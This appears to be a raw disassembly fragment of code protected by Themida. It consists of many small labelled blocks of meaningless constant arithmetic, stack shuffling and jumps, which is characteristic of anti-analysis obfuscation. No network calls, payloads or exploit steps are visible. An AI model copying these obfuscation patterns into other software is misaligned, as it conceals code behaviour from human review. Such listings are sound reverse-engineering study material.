		push	4E9Bh
		mov	[esp], edi
		mov	edi, 369753DAh
		shl	edi, 1
		shl	edi, 2
		sub	edi, 732B3A73h
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5AC5AD
; ---------------------------------------------------------------------------


loc_5AA70F:				; CODE XREF: Themida_:00598FB2j
		add	esi, 4
		push	eax
		push	edx
		mov	edx, 1A233125h
		jmp	loc_5A62E4
; ---------------------------------------------------------------------------


loc_5AA721:				; CODE XREF: Themida_:005A2CC7j
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		jmp	loc_5A8AB9
; ---------------------------------------------------------------------------


loc_5AA74A:				; CODE XREF: Themida_:005A4EBEj
		jb	loc_5AE75F
		add	ebp, 0DBB3D02Bh
		inc	ebp
		jmp	loc_59B172
; ---------------------------------------------------------------------------


loc_5AA75C:				; CODE XREF: Themida_:005A5BAEj
		mov	esp, [esp]
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_5A39EB
; ---------------------------------------------------------------------------


loc_5AA768:				; CODE XREF: Themida_:0059979Dj
		pop	ebp
		sub	eax, edi
		pop	edi
		mov	edx, [esp]
		push	ecx
		jmp	loc_5A1BEA
; ---------------------------------------------------------------------------


loc_5AA775:				; CODE XREF: Themida_:005AC1C8j
		jnz	loc_5AD8D8
		sub	esi, 8C446A95h
		mov	ebp, esi
		pop	esi
		and	dh, 52h


loc_5AA787:				; CODE XREF: Themida_:005AEC80j
		sub	edi, 47E417h
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, esi
		mov	esi, [esp]
		jmp	loc_5A21B0
; ---------------------------------------------------------------------------


loc_5AA7A2:				; CODE XREF: Themida_:005A3483j
		add	esi, 4
		jmp	loc_5A08C7
; ---------------------------------------------------------------------------


loc_5AA7AD:				; CODE XREF: Themida_:005AA873j
		push	edi
		jmp	loc_5ADDE7
; ---------------------------------------------------------------------------


loc_5AA7B3:				; CODE XREF: Themida_:005A5FE6j
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		and	ebx, 38DB6CA0h
		push	edx
		mov	edx, 65A04A48h
		or	edx, 2623614Bh
		jmp	loc_5AE4A5
; ---------------------------------------------------------------------------


loc_5AA7D2:				; CODE XREF: Themida_:005A49DCj
		mov	[esp], edi
		mov	edi, 3F7F625Ch
		push	edi
		pop	ebx
		pop	edi
		push	esi
		mov	esi, 57E70D63h
		shr	esi, 2
		add	esi, 4A2228F1h
		push	ebp
		mov	ebp, 4CE63D8Ch
		or	esi, ebp
		jmp	loc_59BCA8
; ---------------------------------------------------------------------------


loc_5AA7F9:				; CODE XREF: Themida_:005AB0D1j
		pop	ebp
		shr	eax, 6
		shr	eax, 3
		shr	eax, 6
		jmp	loc_5A827A
; ---------------------------------------------------------------------------


loc_5AA808:				; CODE XREF: Themida_:005A353Fj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3AE76D6h
		shr	edi, 6
		add	edi, 0FFFFFFFFh
		add	edi, 331E82C1h
		add	eax, edi
		pop	edi
		jmp	loc_59D3DB
; ---------------------------------------------------------------------------


loc_5AA82A:				; CODE XREF: Themida_:005AB63Ej
		add	esi, 210C7189h
		jmp	loc_59AB0D
; ---------------------------------------------------------------------------


loc_5AA835:				; CODE XREF: Themida_:005A8150j
		push	eax
		mov	eax, esp
		jmp	loc_5AE538
; ---------------------------------------------------------------------------


loc_5AA83D:				; CODE XREF: Themida_:00599A31j
		push	63B4249Ah
		mov	ecx, [esp]
		add	esp, 4
		shr	ecx, 7
		sub	ecx, 0B2F86432h
		jmp	loc_5AAAD7
; ---------------------------------------------------------------------------


loc_5AA856:				; CODE XREF: Themida_:005A1407j
		sub	eax, 5E5041C6h
		jp	loc_5A5AA2
		add	eax, 34DEEA45h
		jmp	loc_5A8633
; ---------------------------------------------------------------------------
		mov	ch, ah


loc_5AA86D:				; CODE XREF: Themida_:00598A10j
		push	ebx
		mov	ebx, 495D726Dh
		jmp	loc_5AA7AD
; ---------------------------------------------------------------------------


loc_5AA878:				; CODE XREF: Themida_:005ABF0Dj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_59A361
; ---------------------------------------------------------------------------


loc_5AA887:				; CODE XREF: Themida_:005988B5j
					; Themida_:005A42D6j
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 1BDC02E2h
		push	30FEh
		mov	[esp], eax
		mov	eax, 2DEF4BCDh
		push	edx
		mov	edx, 784527BEh
		add	eax, edx
		pop	edx
		dec	eax
		push	2858h
		mov	[esp], ebp
		mov	ebp, 3E290FD9h
		or	eax, ebp
		pop	ebp
		jmp	loc_5A7464
; ---------------------------------------------------------------------------


loc_5AA8BC:				; CODE XREF: Themida_:005AB1F1j
		pop	edi
		jmp	loc_5A5084
; ---------------------------------------------------------------------------


loc_5AA8C2:				; CODE XREF: Themida_:0059C43Fj
					; Themida_:005A125Fj
		mov	[esp], ecx
		jmp	loc_59B903
; ---------------------------------------------------------------------------


loc_5AA8CA:				; CODE XREF: Themida_:0059F761j
					; Themida_:005A9E8Cj
		sub	eax, 671432D6h
		jmp	loc_59C596
; ---------------------------------------------------------------------------


loc_5AA8D4:				; CODE XREF: Themida_:005A01CFj
		sub	ebx, 5EAF2219h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A6D43
; ---------------------------------------------------------------------------


loc_5AA8E5:				; CODE XREF: Themida_:005985FCj
		mov	ecx, 180B3B60h
		jmp	loc_5A2559
; ---------------------------------------------------------------------------


loc_5AA8EF:				; CODE XREF: Themida_:005A3A8Aj
					; Themida_:005AD018j
		add	al, 0D1h
		add	al, 0E5h
		push	edx
		mov	dl, 48h
		sub	al, dl
		pop	edx
		push	ecx
		jmp	loc_5A3E22
; ---------------------------------------------------------------------------


loc_5AA8FF:				; CODE XREF: Themida_:0059BBD8j
		xchg	ebx, [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_59D4BD
; ---------------------------------------------------------------------------


loc_5AA90C:				; CODE XREF: Themida_:005A1351j
		mov	ecx, 58D1B3ECh
		jmp	loc_5A7BD3
; ---------------------------------------------------------------------------


loc_5AA916:				; CODE XREF: Themida_:0059B41Aj
		mov	eax, 270F1FA1h
		add	[esp+8], eax
		pop	eax
		add	[esp+4], esi
		sub	dword ptr [esp+4], 270F1FA1h
		pop	esi
		pop	ebx
		add	ebx, 4
		jmp	loc_599835
; ---------------------------------------------------------------------------


loc_5AA939:				; CODE XREF: Themida_:005A98DBj
		mov	ecx, [esp]
		jmp	loc_5AD0F2
; ---------------------------------------------------------------------------


loc_5AA941:				; CODE XREF: Themida_:005A8B27j
					; Themida_:loc_5AC945j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AA946:				; CODE XREF: Themida_:0059A366j
					; Themida_:loc_5A6595j
		mov	[esp], ebx
		jmp	loc_59D254
; ---------------------------------------------------------------------------


loc_5AA94E:				; CODE XREF: Themida_:0059C33Cj
		xor	edi, 45810BF3h
		xor	edi, 9FA19F63h
		mov	ebx, edi
		pop	edi
		sub	edx, 260750DAh
		add	edx, ebx
		add	edx, 260750DAh
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_5A634C
; ---------------------------------------------------------------------------


loc_5AA97F:				; CODE XREF: Themida_:005A6ABFj
		push	5095h
		mov	[esp], esi
		mov	esi, 220F29BCh
		jmp	loc_5AD974
; ---------------------------------------------------------------------------


loc_5AA991:				; CODE XREF: Themida_:00599D3Ej
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_598E2F
; ---------------------------------------------------------------------------


loc_5AA9A5:				; CODE XREF: Themida_:005A9349j
		push	edx
		mov	edx, 6C5918E4h
		sub	ecx, 776F54E4h
		jmp	loc_5ADD55
; ---------------------------------------------------------------------------


loc_5AA9B6:				; CODE XREF: Themida_:005A88D7j
		push	562h
		mov	[esp], ebp
		mov	ebp, 0FC4ED079h
		sub	edx, ebp
		pop	ebp
		jmp	loc_59F5F2
; ---------------------------------------------------------------------------


loc_5AA9CB:				; CODE XREF: Themida_:005AA158j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AA9D0:				; CODE XREF: Themida_:0059F268j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_59AA59
; ---------------------------------------------------------------------------


loc_5AA9E5:				; CODE XREF: Themida_:0059B7BEj
					; Themida_:005A87D3j
		push	7CE8h
		jmp	loc_59F976
; ---------------------------------------------------------------------------


loc_5AA9EF:				; CODE XREF: Themida_:005A964Dj
		pop	ecx
		xor	eax, 11A27BE0h
		sub	edi, eax
		mov	eax, [esp]
		jmp	loc_5A5E52
; ---------------------------------------------------------------------------


loc_5AA9FF:				; CODE XREF: Themida_:005A707Dj
		mov	[esp], edi
		push	6656h
		jmp	loc_59EE7D
; ---------------------------------------------------------------------------


loc_5AAA0C:				; CODE XREF: Themida_:0059F922j
		add	esp, 4
		jmp	loc_599A07
; ---------------------------------------------------------------------------


loc_5AAA14:				; CODE XREF: Themida_:005A6152j
		xor	ecx, 2F444082h
		or	ecx, 1AFF6160h
		jmp	loc_59FD1C
; ---------------------------------------------------------------------------


loc_5AAA25:				; CODE XREF: Themida_:005A0E4Fj
		add	ecx, 260B540Ah
		xchg	ecx, edi
		pop	ecx
		shr	edi, 5
		xor	edi, 408B508h
		jmp	loc_5A1F2A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esi, 4
		jmp	loc_5A2FE6
; ---------------------------------------------------------------------------


loc_5AAA59:				; CODE XREF: Themida_:005ACD39j
		add	esp, 4
		mov	bh, dh
		mov	edx, [esp]
		add	esp, 4
		shl	bh, 5
		inc	bh
		push	ecx
		mov	ch, 2Fh
		inc	ch
		push	dx
		push	ebx
		mov	bh, 0E5h
		add	bh, 1Bh
		xor	bh, 0D2h
		mov	dl, bh
		pop	ebx
		and	ch, dl
		pop	dx
		push	ax
		mov	al, 82h
		jmp	loc_5A7933
; ---------------------------------------------------------------------------


loc_5AAA8C:				; CODE XREF: Themida_:00599F99j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_59A095
; ---------------------------------------------------------------------------


loc_5AAA9F:				; CODE XREF: Themida_:0059BCDCj
		xchg	ebx, [esp]
		jmp	loc_5AE18F
; ---------------------------------------------------------------------------


loc_5AAAA7:				; CODE XREF: Themida_:0059ADD9j
		add	eax, 1A783978h
		pop	ebx
		add	eax, 713E3847h
		add	eax, ebx
		push	edx
		mov	edx, 0D73215Fh
		jmp	loc_5ABAB4
; ---------------------------------------------------------------------------


loc_5AAABF:				; CODE XREF: Themida_:005A9148j
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_5A0227
; ---------------------------------------------------------------------------


loc_5AAAD1:				; CODE XREF: Themida_:005A585Aj
					; Themida_:005A7DC3j
		push	ebx
		jmp	loc_598F23
; ---------------------------------------------------------------------------


loc_5AAAD7:				; CODE XREF: Themida_:005AA851j
		mov	edi, ecx
		pop	ecx
		push	edi
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, 7F941AC7h
		jmp	loc_5A8280
; ---------------------------------------------------------------------------


loc_5AAAF4:				; CODE XREF: Themida_:005AF0E3j
		push	edi
		push	ebp
		mov	ebp, 76403C16h
		inc	ebp
		sub	ebp, 226C4BB1h
		sub	ebp, 53D3F062h
		jmp	loc_5AC834
; ---------------------------------------------------------------------------


loc_5AAB0D:				; CODE XREF: Themida_:005A89AAj
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A5B25
; ---------------------------------------------------------------------------


loc_5AAB1B:				; CODE XREF: Themida_:005A1289j
		xor	eax, 15A901D6h
		sub	eax, 9807A678h
		add	edx, eax
		pop	eax
		push	esi
		mov	esi, 3F27120Eh
		sub	ebp, esi
		pop	esi
		add	ebp, edx
		jmp	loc_59EEB5
; ---------------------------------------------------------------------------


loc_5AAB38:				; CODE XREF: Themida_:005A2A1Cj
		xor	ecx, [esp]
		pop	esp
		mov	cl, 6
		add	cl, 0Ch
		add	cl, bl
		sub	cl, 0Ch
		push	dword ptr [esp]
		pop	ebx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_5A1234
; ---------------------------------------------------------------------------


loc_5AAB5E:				; CODE XREF: Themida_:005AB6A5j
		push	7B74h
		jmp	loc_5A62F1
; ---------------------------------------------------------------------------


loc_5AAB68:				; CODE XREF: Themida_:005A4F8Bj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_5A470D
; ---------------------------------------------------------------------------


loc_5AAB7A:				; CODE XREF: Themida_:0059F584j
		jmp	loc_5ABB01
; ---------------------------------------------------------------------------


loc_5AAB7F:				; CODE XREF: Themida_:0059D55Cj
		mov	edx, 2
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		idiv	cx
		push	small 10D0h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AABA0:				; CODE XREF: Themida_:0059C2B5j
		add	esp, 4
		push	ecx
		mov	ch, 9
		add	ch, 0B6h
		inc	ch
		jmp	loc_5AB903
; ---------------------------------------------------------------------------


loc_5AABB3:				; CODE XREF: Themida_:loc_5A69D8j
					; Themida_:005A9AEDj
		xor	edi, ebx
		neg	ebx
		xchg	ebx, edi
		dec	edi
		jno	loc_5A0E6D
		neg	edi
		jbe	loc_5A5C77
		shr	edi, 8
		and	cl, 0D7h
		pop	edx


loc_5AABCF:				; CODE XREF: Themida_:005A835Dj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AABD4:				; CODE XREF: Themida_:005ABA22j
		push	esi
		jmp	loc_5A55DA
; ---------------------------------------------------------------------------


loc_5AABDA:				; CODE XREF: Themida_:0059FE26j
		mov	esp, [esp]
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5993B8
; ---------------------------------------------------------------------------


loc_5AABE8:				; CODE XREF: Themida_:loc_598926j
					; Themida_:005AC8E5j
		add	ebx, 29380598h
		jmp	loc_5AE8EA
; ---------------------------------------------------------------------------


loc_5AABF3:				; CODE XREF: Themida_:0059BB3Dj
		or	eax, eax
		jz	loc_59E5A8
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ecx, esp
		jmp	loc_59C904
; ---------------------------------------------------------------------------


loc_5AAC09:				; CODE XREF: Themida_:005AC6A4j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5AD2BE
; ---------------------------------------------------------------------------


loc_5AAC15:				; CODE XREF: Themida_:005AC4C9j
					; Themida_:005AEBDCj
		pop	ebx
		jmp	loc_5AA173
; ---------------------------------------------------------------------------


loc_5AAC1B:				; CODE XREF: Themida_:005A220Dj
					; Themida_:005AB594j
		mov	[esp], eax
		mov	eax, 4
		sub	ecx, eax
		mov	eax, [esp]
		jmp	loc_5AAC48
; ---------------------------------------------------------------------------


loc_5AAC2D:				; CODE XREF: Themida_:005AE0B8j
		sub	eax, 7324145Eh
		shr	eax, 6
		jmp	loc_59E4E5
; ---------------------------------------------------------------------------


loc_5AAC3A:				; CODE XREF: Themida_:005A0603j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_59AE1C
; ---------------------------------------------------------------------------


loc_5AAC48:				; CODE XREF: Themida_:005AAC28j
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_5A79E0
; ---------------------------------------------------------------------------


loc_5AAC5F:				; CODE XREF: Themida_:loc_5A0B2Bj
					; Themida_:005AC7A4j
		add	esi, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 4
		sub	esi, 38682825h
		add	esi, 374959D1h
		add	esi, ecx
		sub	esi, 374959D1h
		jmp	loc_5AEC85
; ---------------------------------------------------------------------------


loc_5AAC98:				; CODE XREF: Themida_:005A1E29j
		sub	esi, edi
		pop	edi
		sub	esi, 0EEF9C67Eh
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5AA501
; ---------------------------------------------------------------------------


loc_5AACAD:				; CODE XREF: Themida_:0059B10Aj
		shl	dl, 8
		add	dl, 6Fh
		mov	ah, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59A16B
; ---------------------------------------------------------------------------


loc_5AACC0:				; CODE XREF: Themida_:005A9308j
		mov	edi, 333D2BA2h
		dec	edi
		jg	loc_5A2007
		jmp	loc_5AB518
; ---------------------------------------------------------------------------
		mov	edi, edx
		jmp	loc_5A89A4
; ---------------------------------------------------------------------------
		push	esp


loc_5AACD9:				; CODE XREF: Themida_:005ADBCDj
		mov	edi, 24E16650h
		xor	edi, edx
		pop	edx
		inc	edi
		xor	edi, 6EA738CDh
		xor	edi, 1ED028EDh
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59F732
; ---------------------------------------------------------------------------


loc_5AACFB:				; CODE XREF: Themida_:00598E42j
		xor	[esp], esi
		jmp	loc_59F338
; ---------------------------------------------------------------------------


loc_5AAD03:				; CODE XREF: Themida_:005AF296j
		inc	edx
		jle	loc_5992AB
		jmp	loc_5AEF51
; ---------------------------------------------------------------------------
		push	77AAh
		mov	[esp], ecx


loc_5AAD17:				; CODE XREF: Themida_:005AE8DEj
		mov	ebx, 49D506D1h
		inc	ebx
		jmp	loc_5A8ECC
; ---------------------------------------------------------------------------


loc_5AAD22:				; CODE XREF: Themida_:0059BB6Cj
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, ebx
		pop	ebx
		sub	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		add	ecx, 2C4D215Dh
		jmp	loc_5AECC9
; ---------------------------------------------------------------------------


loc_5AAD55:				; CODE XREF: Themida_:005A64C4j
		jmp	loc_5A87D8
; ---------------------------------------------------------------------------


loc_5AAD5A:				; CODE XREF: Themida_:0059BF48j
		push	ebp
		sub	esp, 4
		mov	[esp], edx
		push	4A5D097Fh
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 3D70E6F8h
		sub	edx, eax
		pop	eax
		jmp	loc_5A892D
; ---------------------------------------------------------------------------


loc_5AAD7D:				; CODE XREF: Themida_:00598658j
		pop	eax
		sub	dword ptr [esp], 5D083954h
		sub	[esp], eax
		add	dword ptr [esp], 5D083954h
		jmp	loc_5A9A6D
; ---------------------------------------------------------------------------


loc_5AAD94:				; CODE XREF: Themida_:005A1F45j
		and	eax, 5A522592h
		jmp	loc_5AEDE2
; ---------------------------------------------------------------------------


loc_5AAD9E:				; CODE XREF: Themida_:005A6C51j
		jp	loc_5A8090
		shr	ebx, 3
		sub	ebx, 0FFFFFFFFh
		push	eax
		mov	bh, 6Ah
		mov	bl, 9Dh


loc_5AADAF:				; CODE XREF: Themida_:005A1FD3j
		and	edi, 48F8237Ah
		push	eax
		jmp	loc_599DA3
; ---------------------------------------------------------------------------


loc_5AADBB:				; CODE XREF: Themida_:005A2AEBj
		add	ebp, 6CCD6A74h
		add	ebp, ecx
		sub	ebp, 6CCD6A74h
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		sub	dword ptr [esp], 11DE6264h
		push	ecx
		mov	ecx, 7F1A7AD7h
		push	ebx
		mov	ebx, 1ABD5205h
		jmp	loc_59E454
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 75D0086Bh
		push	ebp
		jmp	loc_5A1010
; ---------------------------------------------------------------------------


loc_5AADF8:				; CODE XREF: Themida_:0059CA07j
		push	edx
		jmp	loc_59C444
; ---------------------------------------------------------------------------


loc_5AADFE:				; CODE XREF: Themida_:005986DAj
		push	edx
		xor	dword ptr [esp], 1DBA43BEh
		pop	esi
		push	edi
		mov	edi, 1DBA43BEh
		xor	esi, edi
		pop	edi
		jmp	loc_59ED82
; ---------------------------------------------------------------------------


loc_5AAE15:				; CODE XREF: Themida_:005A8D15j
					; Themida_:005AB86Fj
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_59B54F
; ---------------------------------------------------------------------------


loc_5AAE24:				; CODE XREF: Themida_:0059CF6Bj
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_5AE244
; ---------------------------------------------------------------------------


loc_5AAE3E:				; CODE XREF: Themida_:0059AAF5j
		mov	ecx, 331E6D87h
		mov	edx, ecx
		jmp	loc_5A7525
; ---------------------------------------------------------------------------


loc_5AAE4A:				; CODE XREF: Themida_:005A2F74j
		not	dl
		jmp	loc_59D80E
; ---------------------------------------------------------------------------


loc_5AAE51:				; CODE XREF: Themida_:0059EF1Fj
					; Themida_:loc_5A59A4j
		push	eax
		mov	eax, 15054CDCh
		mov	ebp, 1873E45Ah
		jmp	loc_59F7D9
; ---------------------------------------------------------------------------


loc_5AAE61:				; CODE XREF: Themida_:0059C27Aj
		pop	esi
		push	ebp
		mov	ebp, 175A57F8h
		xor	ebp, 496B5615h
		sub	ebx, ebp
		pop	ebp
		add	ebx, eax
		add	ebx, 5E3101EDh
		mov	eax, [esp]
		add	esp, 4
		push	2B04h
		jmp	loc_59C86E
; ---------------------------------------------------------------------------


loc_5AAE89:				; CODE XREF: Themida_:005A2C8Dj
					; Themida_:005A8162j
		sub	[esp+4], eax
		add	dword ptr [esp+4], 338B2AF5h
		jmp	loc_59A142
; ---------------------------------------------------------------------------


loc_5AAE9A:				; CODE XREF: Themida_:0059B425j
		sub	edi, 0C7541FFh
		add	edi, 47F71E96h
		push	ecx
		mov	ecx, 3736BEDh
		xor	ecx, 0E17CAEF7h
		sub	edi, ecx
		pop	ecx
		jmp	loc_5A0A4B
; ---------------------------------------------------------------------------


loc_5AAEBA:				; CODE XREF: Themida_:005ACCF5j
		add	ecx, 2CC214F6h
		sub	ecx, edx
		sub	ecx, 2CC214F6h
		jmp	loc_5A3A31
; ---------------------------------------------------------------------------


loc_5AAECD:				; CODE XREF: Themida_:005A5323j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	77AAh
		jmp	loc_5A882F
; ---------------------------------------------------------------------------


loc_5AAEE7:				; CODE XREF: Themida_:005A7C63j
		sub	[esp], bl
		mov	bl, [esp]
		jmp	loc_59E29B
; ---------------------------------------------------------------------------


loc_5AAEF2:				; CODE XREF: Themida_:005AD344j
		xchg	ecx, [esp]
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5A5B2B
; ---------------------------------------------------------------------------


loc_5AAF04:				; CODE XREF: Themida_:005A01FEj
		pop	edx
		jmp	loc_5AE59C
; ---------------------------------------------------------------------------


loc_5AAF0A:				; CODE XREF: Themida_:005A710Dj
					; Themida_:005AF0A0j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		push	7D02h
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_5ABC1E
; ---------------------------------------------------------------------------


loc_5AAF34:				; CODE XREF: Themida_:005A5BFBj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A1701
; ---------------------------------------------------------------------------


loc_5AAF49:				; CODE XREF: Themida_:005A9B36j
		mov	ebp, [esp]
		add	esp, 4
		shr	edx, 3
		jnz	loc_5A0AC1
		xor	edx, 1009146Fh
		jmp	loc_5A6CAD
; ---------------------------------------------------------------------------


loc_5AAF63:				; CODE XREF: Themida_:005A015Bj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	bp, bx
		pop	bx
		mov	si, bp
		jmp	loc_599815
; ---------------------------------------------------------------------------


loc_5AAF7D:				; CODE XREF: Themida_:005AC264j
		jmp	loc_5A3333
; ---------------------------------------------------------------------------


loc_5AAF82:				; CODE XREF: Themida_:005A5406j
		pop	eax
		jmp	loc_59E880
; ---------------------------------------------------------------------------


loc_5AAF88:				; CODE XREF: Themida_:0059BC2Bj
		push	6D38h
		mov	[esp], ecx
		push	ebp
		mov	ebp, 1754247Ch
		sub	ebp, 4FAE2912h
		sub	ebp, 0C7A5FB68h
		push	ebp
		xor	dword ptr [esp], 28A906D2h
		pop	ecx
		xor	ecx, 28A906D2h
		pop	ebp
		sub	ebp, 13935AFFh
		add	ebp, ecx
		add	ebp, 13935AFFh
		push	dword ptr [esp]
		pop	ecx
		push	4461h
		jmp	loc_59C5DC
; ---------------------------------------------------------------------------


loc_5AAFCE:				; CODE XREF: Themida_:005ADA1Ej
		mov	ebx, [esp]
		add	esp, 4


loc_5AAFD4:				; CODE XREF: Themida_:0059B23Cj
		push	5856h
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_59FB2C
; ---------------------------------------------------------------------------


loc_5AAFE4:				; CODE XREF: Themida_:loc_5A7920j
		or	dh, 6Eh
		jb	loc_5ACFFD
		jmp	loc_5A0BFD
; ---------------------------------------------------------------------------


loc_5AAFF2:				; CODE XREF: Themida_:005A43F5j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esi
		mov	esi, 7C0445CAh
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	1581h
		mov	[esp], eax
		mov	eax, 24h
		add	eax, edi
		jmp	loc_59D95F
; ---------------------------------------------------------------------------


loc_5AB03D:				; CODE XREF: Themida_:00599550j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5A034B
; ---------------------------------------------------------------------------


loc_5AB04B:				; CODE XREF: Themida_:005A241Fj
					; Themida_:005A26DFj
		push	231A1DBAh
		jmp	loc_5AEEC5
; ---------------------------------------------------------------------------


loc_5AB055:				; CODE XREF: Themida_:005A4617j
		xor	esi, 0D65F552h
		sub	ebp, esi
		pop	esi
		jmp	loc_5A9FFF
; ---------------------------------------------------------------------------


loc_5AB063:				; CODE XREF: Themida_:00599588j
					; Themida_:005A2D54j
		push	cx
		jmp	loc_598B92
; ---------------------------------------------------------------------------


loc_5AB06A:				; CODE XREF: Themida_:005AA66Cj
		mov	edi, 58D2501Eh
		sub	eax, 2AE760F7h
		add	eax, edi
		add	eax, 2AE760F7h
		mov	edi, [esp]
		jmp	loc_59C050
; ---------------------------------------------------------------------------


loc_5AB083:				; CODE XREF: Themida_:00598968j
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		jmp	loc_5A35D1
; ---------------------------------------------------------------------------


loc_5AB092:				; CODE XREF: Themida_:00599F3Fj
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_5AA49A
; ---------------------------------------------------------------------------


loc_5AB09B:				; CODE XREF: Themida_:loc_5AE18Aj
		sub	esi, 0CBBD9763h
		mov	ecx, esi
		pop	esi
		jmp	loc_5A934E
; ---------------------------------------------------------------------------


loc_5AB0A9:				; CODE XREF: Themida_:0059D535j
		shr	ebp, 6
		not	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 64B77307h
		xor	ebp, edi
		pop	edi
		add	ebp, 0A10FFB03h
		add	eax, 33325D3Eh
		add	eax, ebp
		sub	eax, 33325D3Eh
		jmp	loc_5AA7F9
; ---------------------------------------------------------------------------


loc_5AB0D6:				; CODE XREF: Themida_:0059A6A2j
		push	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5AF4FC
; ---------------------------------------------------------------------------


loc_5AB0E5:				; CODE XREF: Themida_:loc_5A462Fj
					; Themida_:005A7EDAj
		mov	ecx, 7C2F43EDh
		jmp	loc_5A12E5
; ---------------------------------------------------------------------------


loc_5AB0EF:				; CODE XREF: Themida_:005A7A05j
					; Themida_:005AD7B8j
		mov	[esp], edi
		push	esi
		mov	esi, 738F470Ah
		add	esi, 8C70B8F8h
		mov	edi, esi
		jmp	loc_5AA2EF
; ---------------------------------------------------------------------------


loc_5AB105:				; CODE XREF: Themida_:005A3521j
		mov	[esp], ebx
		jmp	loc_59AF63
; ---------------------------------------------------------------------------


loc_5AB10D:				; CODE XREF: Themida_:005AE7ECj
		inc	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	324Eh
		mov	[esp], eax
		mov	eax, 359E6Ch
		sub	esi, eax
		pop	eax
		add	ebx, esi
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_5ADE6B
; ---------------------------------------------------------------------------


loc_5AB144:				; CODE XREF: Themida_:005AB6BFj
		pop	esp
		mov	[esp], edx
		mov	edx, 0FFFFFFFFh
		jmp	loc_59D4CC
; ---------------------------------------------------------------------------


loc_5AB152:				; CODE XREF: Themida_:0059A81Dj
		pop	ecx
		sub	eax, 274B14E4h
		add	ebx, eax
		pop	eax
		push	ebx
